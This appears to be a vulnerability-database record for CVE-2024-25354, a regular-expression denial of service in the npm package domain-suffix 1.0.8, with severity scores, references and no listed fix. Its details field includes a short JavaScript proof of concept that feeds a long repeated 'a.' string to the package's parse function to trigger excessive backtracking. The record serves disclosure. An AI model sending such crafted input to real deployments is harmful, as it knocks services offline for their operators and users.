{"id":"CVE-2024-25354","aliases":[],"url":"https://o3.security/vulnerability/CVE-2024-25354","summary":"domain-suffix RegEx Denial of Service","details":"RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.\n\n## PoC\n```js\nasync function exploit() {\n   const domainsuffix = require(\\\"domain-suffix\\\");\n   // Crafting a string that will cause excessive backtracking\n   const maliciousInput = \\\"a.\\\".repeat(10000) + \\\"b\\\"; // This will create a long sequence of \\\"a.\\\" followed by \\\"b\\\"\n   const result = await domainsuffix.domainSuffix.parse(maliciousInput);\n}\nawait exploit();\n```","published":"2024-03-28T00:31:40Z","modified":"2025-09-03T15:16:09Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"domain-suffix","fixedVersion":null}],"fix":null,"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-25354"},{"type":"WEB","url":"https://gist.github.com/6en6ar/c3b11b4058b8e2bc54717408d451fb79"},{"type":"PACKAGE","url":"https://github.com/ikrong/domain-suffix"},{"type":"WEB","url":"https://github.com/ikrong/domain-suffix/blob/master/src/domainSuffix.ts"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2025-09-03T15:16:09Z"}}